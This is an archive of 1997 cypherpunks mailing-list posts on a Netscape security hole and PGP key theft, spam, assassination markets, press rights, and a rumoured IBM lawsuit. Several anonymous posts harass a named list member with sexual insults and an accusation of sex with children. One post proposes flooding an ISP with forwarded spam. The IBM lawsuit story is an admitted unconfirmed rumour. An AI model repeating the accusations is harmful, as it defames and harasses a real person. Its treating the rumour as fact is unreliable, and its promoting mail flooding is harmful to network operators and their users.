Message-ID: <199706141738.KAA10002@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Timmy May studied yoga back-streching exercises for five 
years so he could blow himself (nobody else will).

            ,,,
       -ooO(o o)Ooo- Timmy May
            (_)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 14 Jun 1997 18:19:26 +0800
To: Peter Trei <trei@process.com>
Subject: Re: Flag Burning...
In-Reply-To: <199706131352.GAA06683@toad.com>
Message-ID: <Pine.LNX.3.91.970614104519.612F-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> For Congress to deny the freedom to burn the flag is a desecration of what
> the flag stands for - a descration of the flag by the government itself.

Well said, for a government to deny the right to destroy private 
property, whether a flag or anything else, gives yet more proof of why 
the flag no longer means anything and why it should be burnt.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 15 Jun 1997 00:46:53 +0800
To: cypherpunks@Algebra.COM
Subject: Impact of Netscape kernel hole (fwd)
Message-ID: <Pine.LNX.3.91.970614112312.1213B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




>It'd be nice to have more specifics about the whole situation, but
>regardless - any preliminary threat assessments?  Exactly how widely
>exploited do you think this has been?
>
>Tim's post (although refuted by Marc) raises some serious issues since I
>suspect that Joe Public has his secret key sitting in c:\pgp\secring.pgp
>
>Some coherent input on the possible impact of this would be appreciated.

Basically the threat model is very simple:

Joe "slightly crypto-savvy pgp user" sixpack keeps his pgp keyring in 
c:\pgp on a dos/w95 box. The average user of any of the unices keeps his 
keyring in /usr/pgp or /usr/local/pgp it does not take a lot of attempts 
to go through most of the common places.

The very same guy probably has a password that is:

A. FRED (notice how close the letters are, this is a real dumb-ass 
password of the century)

B. His wifes name

C. Her birthday

D. The name of his favourite film or some character from it...


Can you say "dictionary attack"???. 

I must admit I personally, against all the rules, keep my pgp secret key 
on this box. This doesn`t worry be greatly because:

1. I have a strong passphrase.
2. This box is only on dialup, so is not connected for long, and I VERY 
rarely use the web anyway, Its too slow, so I prefer ftpmail and ftp for 
getting files. This corresondingly reduces the risk of me having used a 
site that exploited this hole.
3. If I ever have anything to recieve that needs to be really secure I 
use a one time key pair, so even the RSA key is one time. Most PGP mail I 
send or recieve is fairly innocuous and the use of encryption is just 
precautionary, ie. to stop nosy sysadmins.

What it basically comes down to is that Joe Sixpack, the guy most likely 
to have his key compromised by this attack, is:

1. Not likely to be sending valuable enough mail to expend time mounting 
even a simple dictionary attack on his key.

2. The least likely to know about, understand or respond to this flaw.


So basically the threat is the usual one: The stupid will get caught. If 
you are sending highly criminal mail your key shouldn`t be on any machine 
not 12 feet underground in a concrete bunker with 24 hour fully trusted 
security guards, CCTV etc. etc. anyway.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 15 Jun 1997 02:18:45 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: [ANNOUNCEMENT] Forgery detection
In-Reply-To: <199706141738.KAA10002@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970614120940.88280A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



I think Vulis needs each of us to send ten copies of this back to him.

On Sat, 14 Jun 1997, Huge Cajones Remailer wrote:

> Timmy May studied yoga back-streching exercises for five 
> years so he could blow himself (nobody else will).
> 
>             ,,,
>        -ooO(o o)Ooo- Timmy May
>             (_)
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cypherpunks@Algebra.COM
Date: Sun, 15 Jun 1997 00:55:10 +0800
Subject: This is NOT trespassing.
Message-ID: <199706141643.MAA001.36@butternut.nist.gov>
MIME-Version: 1.0
Content-Type: text/plain



Did you pay for your TV?  Do you buy electricity by the KWH?
Pay a monthly cable bill?  If so, then why isn't a television 
commercial considered theft of your televised resources?

Doesn't it cost something to ride the bus?  Then why aren't
the public transport's advertisers guilty of stealing your
wallspace?

What about newspapers, magazines, radio stations, going to
the movies, driving on any road, almost any PAID activity in
life?  Each has its attendent advertisments and commercials.

We PAY for an enormous percentage of solicitations.  Everyday.

WHY SHOULD YOUR EMAIL BOX BE ANY DIFFERENT? 

Fact is, it isn't.  Nor will it ever be.  When you make any
contact in public via any media or communication form, there
will come invitations, solicitations, possibly vexations and
the like.  It's one of the prices we must pay in order to be
able to communicate at all.  

P.S. sure is hard to tell what's "blue" these days.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Sat, 14 Jun 1997 21:08:02 +0800
To: cypherpunks@cyberpass.net
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it, from Netly
Message-ID: <19970614125035.32717.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
>Ray Arachelian wrote:
>> Yes, I do take privacy seriously, and I do protect it.  But to say
>> anyone has the right to snoop my machines and see what I have there
>> is NOT cool.  What I leave on my computer is my private business,
>> and NOBODY HAS THE RIGHT TO SURF IT WITHOUT MY PERMISSION.  Whether
>> or not they have root.

>I'm not saying that people have a "right to surf (?) it without your
>permission." That's a violation of your property rights, a trespass.
>But if you connect to my web site, I should be allowed to record
>whatever info leaks from your computer. Don't like it? Cut the flow
>or don't come.

"Trespass" is a misleading term.  The person "trespassing" doesn't
have to leave their chair.

What really happens is that somebody sets up a machine that will
transmit information when it receives certain combinations of bits.
Then the machine is made available to the whole world.

It is most reasonable to put the burden for security on the person who
wants to make their machine available to the whole world.

The legal approach has several problems.

1. It is ineffective and gives a false sense of security.

2. It undermines the demand for secure machinery.  (Intentional: the
people in governments believe secure machinery threatens their
positions.)

3. It brings up problems with borders and seignority.

4. Such laws are expensive to enforce if we are to observe legal
customs like "innocent until proven guilty."

5. The legal prohibitions break down under the very circumstances when
we most want our systems to remain secure: times of war and times of
social unrest or revolution.

Panther Modern





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Sat, 14 Jun 1997 21:06:58 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Do reporters have special rights the rest of us don't have?
Message-ID: <19970614125040.32767.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> (I have no problems with private agents, e.g., Microsoft or
> whatever, limiting contacts to the "main" reporters. It's their
> property. If they grant interviews to Declan, Brock, John, Steve,
> etc., and not to me, I cannot claim my "rights" were violated.
> Government functions are another matter, and I would generally favor
> letting anyone claiming to be a reporter in to government press
> conferences...to do anything else is to give licensing and
> credentials to speech, which the government should have no right to
> do. If they need to hold press conferences in RFK Stadium, so be
> it.)

Are you proposing the President can't choose who he meets?  Whether
such a meeting is called a "press conference" is irrelevant.

The legitimization of reporters through the use of "press credentials"
by the government can only occur when people operating the news
channels and their customers allow it to happen.

Panther Modern





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 14 Jun 1997 19:11:26 +0800
To: cypherpunks@toad.com
Subject: [ADMINISTRATIVIUM] ZKP
Message-ID: <199706141102.NAA10524@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Timothy C. Mayo is not only as queer as a three 
dollar bill, but he is also into having sex with 
children.

  (((>     /<
 (        /
  ((({{{{{:<  Timothy C. Mayo
          \
           \<





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Pilgrim <nfn04017@gator.naples.net>
Date: Sun, 15 Jun 1997 01:50:59 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: Democratic Assassination
In-Reply-To: <l03102800afc6405bc170@[204.210.206.39]>
Message-ID: <l03102800afc8769946ae@[204.210.206.39]>
MIME-Version: 1.0
Content-Type: text/plain



>> There is something fundamentally wrong with a society that is built upon
>> the notion that those people who do and say unpopular things deserve death.
>
>Not necessarily. No-one here would begin to suggest that AP *should* be
>used for censorship purposes, to say that AP is a censorship tool is a
>misunderstanding based on that old enemy material determinism. A gun can
[...lots more other stuff that revolve around this point...]

This is true. Just because AP exists, doesn't immediately imply that it can
become a tool for censorship. It was, after all, intended to be used as a
tool to get rid of 'bad' people.

But the human beings are funny, in a way....and inordinately
creative....how many tools has technology given us, that human beings use
to kill each other. You can blame it on government if you wish, but human
beings have been killing each other long before large sprawling governments
existed.

We are very good at taking tools and using them for evil purposes...to kill
and maim one another.

So, as you have said, does this mean that we should eliminate all tools,
just because they should be used for evil purposes? As you have mentioned,
this is an insane notion. It can't be done, and ought not to be done. If it
were, I wouldn't be able to mow my lawn later on this afternoon :-)

So we should keep hammers, and axes, and cars, etc, regardless of the fact
that they could be used for evil purposes. So, what is so different about
AP?

Technology is a wonderous thing. It lets us do things more quickly, more
conveniently. I like my computer. It helps me to do things much faster, and
more accurately, than I could do them myself.

So there is something that greatly disturbs me when we merge the speed and
efficiency of technology with something as horrific as death. Indeed it has
already been done...(lemme digress for a little while)...I remember all of
the press conferences that were held during the Gulf War, when the United
States military was showing off its flashy high tech toys, which allowed
our fighters to blow things up from a very safe distance. We saved a lot of
"the good guy's" lives that way...our troops didn't encounter much blood at
all. But perhaps war ought not to be so clean....perhaps war should be
brutal and messy and bloody and costly...not because blood and guts and
horror and terror are good things, but because war is, in and of itself, a
horrific thing...and this technology blinds us to that fact....in an
attempt to make war "clean" with technology, we have only blinded
ourselves...and thus war becomes a little too easy for my own liking.

(...almost done digressing...)

Though I am not a rabid fan of Star Trek, I recall one episode that seems
to illustrate my point. The scene was set in some star system, with these
two worlds that had been at war for ages. However, these two planets had
become so 'evolved' that they used technology to greatly tidy up the mess
of war. The war was fought entirely in a computer simulation, and those
people who were killed were notified of that fact, upon which they walked
to the nearest disintegration chamber and were disintegrated. No blood. No
guts. No horror. Very 'civil'. Thus the war never really ended, because it
turned out to be 'not so bad,' regardless of the fact that scores of people
were still dying. The human toll was immense, though everyone involved was
completely blinded to that fact.

The episode ends with the Enterprise inadvertantly 'foiling' the system,
forcing the people of both worlds to face the horror of war square in the
face.

(...I'm done digressing now...)

I think there are great similarities between high-tech war and AP. Both are
very 'tidy' ways to kill people, at great distances from unseen locations,
without having to deal with the negative reprocussions of the act. They
both make killing a little too clean. They both make it easy for us to
dehumanize our targets, so that what we're killing is not really another
human being, but some object....some nuisance that must be destroyed.

If I kill someone with a hammer, or a gun, there is a certain level of
commitment that I have to make. I have to deal with the dehumanization. I
have to deal risk being caught. **I** have to do it.

Personally, I find it would find it hard to dehumanize someone when I put a
gun to their head and read the look of terror in their face. I would find
it hard to commit the act, knowing that there is a manifold number of ways
that I could be caught. Furthermore, I know I could not deal with the
responsibility of killing someone afterwards.

But AP is a nice neat solution to this. It makes killing very tidy, and
minimizes my own responsibility. I can use it to easily fool myself into
thinking that I'm really not resposible for killing a human
being....rather...I simply got rid of a nuisance...a source of pain....I
can think of it more akin to squashing a bug on a wall, rather than ending
someone's life.

Killing people is horrific and should remain that way..lest killing becomes
a little too easy...and once killing people becomes as easy as buying a
newspaper, who knows people will do with it. AP is way too easy for my
liking.


>> Even if digital cash, anonymous remailers and strong encryption could
>> enable us to set up a democratic system of assassination (which it
>> couldn't)...
>
>Expand on this please, if you believe anonymous digital assasination
>markets are not possible from a technical point of view please explain why...

My point was not that anonymous digital assasination was not possible...but
rather, the notion of such a mechanism being democratic is incorrect. If it
were democratic, there would be some sort of referendum...some sort of vote
being taken...and if enough people vote no, then it wouldn't take place.

This mechanism is not democratic, in the sense that, in order for a killing
to take place...one doesn't need a majority...one only needs enough
resources. If a couple of billionaires decide to knock off a young
entrepenuir (sp), they can do it very easily, and don't need to ask
anyone's permission.

In my mind, the notion of this mechanism being democratic was the only
****REMOTELY**** redeeming characteristic about this whole thing...and my
argument is that this system isn't even democratic. To make it work, one
doesn't need enough people and enough consenting opinions, simply enough
resources. While the two are sometimes related, they aren't always.

>
>> I still wouldn't want to live in a society where killing is
>> democratized...I do not want to live in a society where people can
>> abitrarily take a vote on whether I should live or die....
>
>You do live in such a society, if the government decides to fuck you over
>and manages somehow to make a muder charge stick 12 randomly selected
>people can decide whether you live or die. If you say something unpopular
>you can be assasinated.

This is a nasty truth.....so do I want this power expanded?

Scenario:
I'm very active in Christian outreach and evangelism. I move into a small
town of 20000 people and start a ministry there. I have success there, and
therefore greatly upset a fair portion of the town.

Now, the chances of a man in black from Washington DC to knock me off are
relatively small, compared to the chances of a couple of bigshots around
town arranging my murder using AP. This goes back to the point about AP
making killing a touch too easy.

If the government has the power to easily assassinate me for being
unpopular, this is a bad thing....but it doesn't lead me to conclude that
more people should have this kind of power....because I fear that rather
than this becoming a tool to fight oppression....it will simply become a
tool to kill people we don't like...politicians or janitors.

>
>> And maybe...just maybe...he is just as big a victim of "The Machine" as you
>> are.
>
>This is a difficult point to even contemplate as having any basis in
>reality. Do you know any police officer (lets make that more specific
>and say DEA inspector) who is a victim? Do you know of any possibility,
>no matter how remote, that someone delegated the task of beating
>confessions out of suspects is a "victim" himself?

It's a long story, and I can't go into it much without probably angering
many people on this listserv....but the roots of this idea begin in some
fundamental beliefs about people that I, being a committed Christian, carry
with me. If you care to get the full sermon, lemme know and I'll send you a
personal email.


>> Justice rarely comes out of hatred.
>
>I agree, it is rarely productive to hate your enemy, but it is often a
>natural reaction...

I agree, it is a natural reaction. I'm as guilty of it as the next
guy...though it's being worked out of me...SLOWLY :-D

Take Care,
Pilgrim






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Arunas Norvaisa <arunas@post1.com>
Date: Sat, 14 Jun 1997 19:45:26 +0800
To: cypherpunks@Algebra.COM
Subject: nym.alias.net back!!!!!!
Message-ID: <3.0.32.19970614144125.00691a54@post1.com>
MIME-Version: 1.0
Content-Type: text/plain



there will be no comments from my stupid self. Hoorah!!!

quote
=====

>From           lcs Remailer Administrator <mix-admin@nym.alias.net>
Organization   mail2news@nym.alias.net
Date           14 Jun 1997 04:27:52 -0000
Newsgroups     alt.privacy.anon-server
Message-ID     <19970614042752.18952.qmail@nym.alias.net>



As of tonight, the alias.net domain seems to have been restored by the
Internic.  While negative lookups on the domain name may still be
cached for 24 hours or so, nym.alias.net should soon be fully
accessible within a day if it is not already.

This down time has been fairly disastrous, but I suppose there is a
brighter side--chances are the all nym.alias.net addresses have been
cleared from spam databases, so as the remailer comes back on line,
people should see less unsolicited mail than they used to.

unquote
=======

--
greetz... Arunas Norvaisa - little guy, The Masses Inc.
<mailto:arunas@post1.com> with subject: 'send key' to get PGP key
PGP for idiots page <http://www.a-vip.com/an>
  and a mirror site <http://www.post1.com/~arunas>
IBM: Insultingly Boring Microcomputers





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Sun, 15 Jun 1997 03:15:40 +0800
To: cypherpunks@Algebra.COM
Subject: Re: This is NOT trespassing.
In-Reply-To: <199706141643.MAA001.36@butternut.nist.gov>
Message-ID: <97Jun14.151138edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 14 Jun 1997 cypherpunks@Algebra.COM wrote:

(curiously the author gave the above return address, but since it is more 
or less on-topic)

> Did you pay for your TV?  Do you buy electricity by the KWH?
> Pay a monthly cable bill?  If so, then why isn't a television 
> commercial considered theft of your televised resources?

I can choose to pay extra for commercial-free channels.  The commercials
are added by the broadcasters, and I can choose which broadcasters I
watch.  I can also rent commercial free videotapes.  Don't confuse paying
for a Media Player with payment for (or commercial subsidy of) Media.

> Doesn't it cost something to ride the bus?  Then why aren't
> the public transport's advertisers guilty of stealing your
> wallspace?

The PTA is stealing my money since I don't ride the bus, but I am forced
to pay taxes to support it.  I would be willing to end the government
monopoly on public transportation, and offer both ad-free and ad-bearing
jitneys with a price per ride reflective of the difference in cost.

> What about newspapers, magazines, radio stations, going to
> the movies, driving on any road, almost any PAID activity in
> life?  Each has its attendent advertisments and commercials.

Again, my newspaper or magazine is free to offer an ad-free version at a
different price.  I subscribe to several newsletters which are completely
without advertisement.  Again, it is my choice.

You forgot to mention books.  I didn't notice any ads between the pages of
the last three I read - something must be wrong or left unexploited.

> We PAY for an enormous percentage of solicitations.  Everyday.

No, Media suppliers make decisions whether to sell pure media, or media
with ads, and it is their strategy to maximize profit.  I "pay" for the
ads by not paying extra for the media.

Advertisements in public spaces are a form of speech.  It does not invade
my space (though here billboards are taxed) - I go into a space where
speech occurs, it doesn't invade my space.

> WHY SHOULD YOUR EMAIL BOX BE ANY DIFFERENT? 

Because I am not contracting with anyone for a reduced cost for an email
box with advertisements (FYI there are services with email addresses for
"free" that also tack on ads to messages).  My email box is not part of
the public space, merely connected to it.

I don't object to web pages with ads (closer to the above examples) - it
is the author's choice whether or not to have ads, and my choice whether
or not to go to the web page.  (I would object to pages constructed so as
to display only an ad first, then redirect me to the actual content I
requested). 

Why should AIR be different?  Why should I not be able to drive a car that
belches toxic fumes, and build a plant that pollutes the air - it is just
as much my "public" air, as it is yours, and you will have to pay for my
activities with only a little of your health.

The Spammer is not part of the transaction between me and my ISP, but
pollutes my space with something I don't want.

You are not part of the transaction between the automaker and myself, nor
between me and the customers of my plant, so why should you have a say
even though my polluted air would invade your space?  Close your door and
buy a HEPA filter if you don't like it.  It is the same type of problem
(an externality in economic terms).

> Fact is, it isn't.  Nor will it ever be.  When you make any
> contact in public via any media or communication form, there
> will come invitations, solicitations, possibly vexations and
> the like.  It's one of the prices we must pay in order to be
> able to communicate at all.  

I don't think there should be a law, but if I have have a property right
in my email account, but enforcement is difficult or spotty, I can attempt
to initiate a boycott of the ISP and NSP as I might do with a socially
irresponsible company which endangers me by polluting the air.  If I don't
have such a right, then neither does the email accounts of the ISP and NSP
of the spammer, and they can decide whether or not to supply network
services to the spammers and live with the problems the counterspamming
will create for them, just as I have to live with the spam.

As a specific example:  If AGIS fails to control cyberpromo (for now they
seem to be succeeding), then if everyone forwards spam to
everyone@agis.net (the email scanners work both ways), at some point it
will cost more to agis to deflect the counterspam (and complaints on their
toll-free lines) than the money it gets from cyberpromo, and other
customers using AGIS could be encouraged to drop them and choose a more
"responsible" carrier, or agis can be deleted from routing tables.  They
will either have to insure cyberpromo acts responsibly or stop being their
provider. 

This will not eliminate the problem, but will make it uneconomic in most
cases to spam - if the account is almost instantly cancelled, the only
response would be a mailing address or phone number, and most people won't
call (unless it is toll free), and most people won't print out the form,
so the cost of the spam will exceed any profits generated, and thus it
will stop.

No government need get involved.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Sun, 15 Jun 1997 06:41:26 +0800
To: "Igor Chudov @ home" <ichudov@Algebra.COM>
Subject: Re: Impact of Netscape kernel hole
In-Reply-To: <199706140232.VAA20313@manifold.algebra.com>
Message-ID: <33A31B9C.F76DCB2A@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Igor Chudov @ home wrote:
> 
> Tom, are you going to release the linux version of netscape,
> and when.

I believe we still intend to release a linux version, although it
obviously has a lower priority than Solaris or the Mac.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 15 Jun 1997 04:33:58 +0800
To: cypherpunks@toad.com
Subject: Re: IBM sues critics?
Message-ID: <1.5.4.32.19970614201321.009a8b38@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Secret Squirrel wrote:
>According to a usually reliable contact in a position to know, IBM Friday
>filed a liable suit against the 11 authors of the study
>titled "The risks of key recovery, key escrow and trusted third-party
>encryption" plus their employers and the Centere for Democracy and
>Technology, which sponsored the report.  According to my contact, IBM
>feels that the report directly targets their own key recovery system,
>and falsely implies that it isn't reliable.  They are asking for
>unspecified damages.


If this report is true it's worth taking a look at IBM's policy paper
"The need for a global cryptographic policy framework" to 
understand why the key study report is such a threat to
Blue's global market strategy:

   http://www.ibm.com/security/html/pp_global.html

IBM's economic incentive to attack the report is substantial, not
least because it hopes to garner the lion's share of global GAK --
not that that's news.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sun, 15 Jun 1997 05:19:23 +0800
To: Secret Squirrel <nobody@secret.squirrel.owl.de>
Subject: Re: IBM sues critics?
In-Reply-To: <19970614184538.11070.qmail@squirrel.owl.de>
Message-ID: <Pine.GSO.3.95.970614170740.23228C-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



I doubt this is true. The report doesn't mention IBM's KR system, and is
so bland as to be innocuous. If anyone knows otherwise, I'd be interested
in learning more. 

-Declan


On 14 Jun 1997, Secret Squirrel wrote:

> According to a usually reliable contact in a position to know, IBM Friday
> filed a liable suit against the 11 authors of the study
> titled "The risks of key recovery, key escrow and trusted third-party
> encryption" plus their employers and the Centere for Democracy and
> Technology, which sponsored the report.  According to my contact, IBM
> feels that the report directly targets their own key recovery system,
> and falsely implies that it isn't reliable.  They are asking for
> unspecified damages.
> 
> This means IBM is suing such people as Matt Blaze, Whitfield
> Diffie, and Ronald Rivest, along with AT&T, Sun, Microsoft, and MIT
> over the question of whether its key recovery system really works.
> Considering that truth is a defense and the details of the
> IBM system could be part of the defense's evidence, it should be an
> interesting trial to say the least.
> 
> I have not seen the actual court papers and really have no idea
> whether my contact is totally accurate.  Can anyone confirm the details?
> I just read the study in question, and it sounds like IBM is totally
> out of line and trying to intimidate its critics with threats of expensive
> if frivolous lawsuits. On the other hand, some of the parties named
> in the suit (Microsoft, AT&T) have their own armies of lawyers
> to defend themselves, so it's hard to be sure of what's going on here.
> 
> I think the report is still at www.crypto.com or www.cdt.org.
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 15 Jun 1997 19:01:21 +0800
To: Secret Squirrel <nobody@secret.squirrel.owl.de.demon.co.uk>
Subject: Re: Do reporters have special rights the rest of us don't have?
In-Reply-To: <19970614125040.32767.qmail@squirrel.owl.de>
Message-ID: <Pine.LNX.3.91.970614174602.1502A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> Are you proposing the President can't choose who he meets?  Whether
> such a meeting is called a "press conference" is irrelevant.

The president is an employee of the people, therefore the people decide 
what the president does and when he does it.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Smith" <jsmith58@hotmail.com>
Date: Sun, 15 Jun 1997 09:00:40 +0800
To: cypherpunks@cyberpass.net
Subject: Re: IBM sues critics?
Message-ID: <199706150054.RAA05736@f23.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



Can someone explain the difference between key recovery and key
escrow?  The IBM white paper describes it at
http://www.ibm.com/security/html/pp_global5.html in terms of
giving a keys or a combination to your neighbors, but the
analogy was hard to follow.

"John



---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Sun, 15 Jun 1997 03:48:26 +0800
To: cypherpunks@toad.com
Subject: IBM sues critics?
Message-ID: <19970614184538.11070.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain



According to a usually reliable contact in a position to know, IBM Friday
filed a liable suit against the 11 authors of the study
titled "The risks of key recovery, key escrow and trusted third-party
encryption" plus their employers and the Centere for Democracy and
Technology, which sponsored the report.  According to my contact, IBM
feels that the report directly targets their own key recovery system,
and falsely implies that it isn't reliable.  They are asking for
unspecified damages.

This means IBM is suing such people as Matt Blaze, Whitfield
Diffie, and Ronald Rivest, along with AT&T, Sun, Microsoft, and MIT
over the question of whether its key recovery system really works.
Considering that truth is a defense and the details of the
IBM system could be part of the defense's evidence, it should be an
interesting trial to say the least.

I have not seen the actual court papers and really have no idea
whether my contact is totally accurate.  Can anyone confirm the details?
I just read the study in question, and it sounds like IBM is totally
out of line and trying to intimidate its critics with threats of expensive
if frivolous lawsuits. On the other hand, some of the parties named
in the suit (Microsoft, AT&T) have their own armies of lawyers
to defend themselves, so it's hard to be sure of what's going on here.

I think the report is still at www.crypto.com or www.cdt.org.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 15 Jun 1997 10:19:55 +0800
To: cypherpunks@toad.com
Subject: Re: IBM sues critics?
In-Reply-To: <Pine.GSO.3.95.970614170740.23228C-100000@cp.pathfinder.com>
Message-ID: <FFBB9D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@pathfinder.com> writes:

>
> I doubt this is true. The report doesn't mention IBM's KR system, and is
> so bland as to be innocuous. If anyone knows otherwise, I'd be interested
> in learning more.

Maybe IBM took its cue from C2Net.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 15 Jun 1997 09:06:23 +0800
To: cypherpunks@toad.com
Subject: e$: Skins vs. Shirts
Message-ID: <v03020931afc8ee48fc8f@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Robert Hettinga <rah@shipwright.com>
Mime-Version: 1.0
Precedence: Bulk
Date:  Sat, 14 Jun 1997 14:02:41 -0400
From: Robert Hettinga <rah@shipwright.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject:  e$: Skins vs. Shirts

At 10:28 am -0400 on 6/14/97, Adam Shostack wrote:


> 	Are FAT file lists stored as files?
>
> 	On a Unix box, /. refers to the file containing directory
> entries, the list of files in the directory.  If there is an analogous
> file on a dos box, you can explore.  (Does the bug work on Unix?  I've
> heard it only works if java or livescript are turned on, so it hasn't
> worried me enough to investigate.)

All this reminds me of something Tim May, Eric Hughes, and others have said
before. Once you've gotten to the point where loss of security equals, in a
very literal sense, loss of money, the incentive to publicize any given
security hole starts to go away.

Adam, above, is speculating about the mechanics of a Netscape security
hole, which, two years ago, would have gotten someone like Ian Goldberg a
grand and a t-shirt, but probably only after they had published it on the
net, just like Mssrs Goldberg and Wagner had to do, in order to get
Netscape's attention. That included directions for how to replicate the
problem. Back then, we wouldn't have been speculating about the mechanics
of the hole, because people would be playing with it to see how it worked.
As it is, latest hole was published in terms of its results only, and not
its mechanics. Instead, those precious details were relased only to
Netscape, and only for, NPR says, "an undisclosed sum".

Lest we think of this as latter-day greenmail, we have to remember that
greenmail actually had it's putative effect, which was to increase the
returns to the shareholders by increasing the stock price. It was never
fair to begrudge T. Boone Pickens the pound of flesh he extracted from
companies like Phillips Petroleum, mostly because the pound he cut off was
usually lard, anyway.  Not to compare Netscape to a Pritikin candidate, of
course. Nobody can see all the consequences of tens or hundreds of
thousands of lines of code, and the very best way to solve the semantic
problem that poses is the internet way, by swarming it to death.

With that in mind, I expect that the next stage in this increasing security
"price" escallation will be much more interesting.  It won't be long before
the first people who say anything about a new security hole will be people
who have money stolen from them, and not much will be said by the people
who discover those holes in the first place. And, of course, lots of those
people probably won't be so virtuous in their use of what they figure out,
either. We're about to enter a new era of parallel evolution, much like the
relationship between cheeetahs and Thompson's gazelles, where a constant
arms race makes predator and prey more efficient, excellerating evolution
in both species.

Now, I don't think this forgives people from publishing their source code,
far from it. I expect that people selling financial cryptography and allied
commercial products will still have to publish their source, or nobody will
trust it enough buy it.  I'm just saying that it will tend to be the
victims, and probably not the next generation of "moneypunks",  who will be
announcing the failure of any given commerce application.



So, instead being one of free shirts, the game will be one of payment in,
um, skins. And, before long, there will be many more skins out there
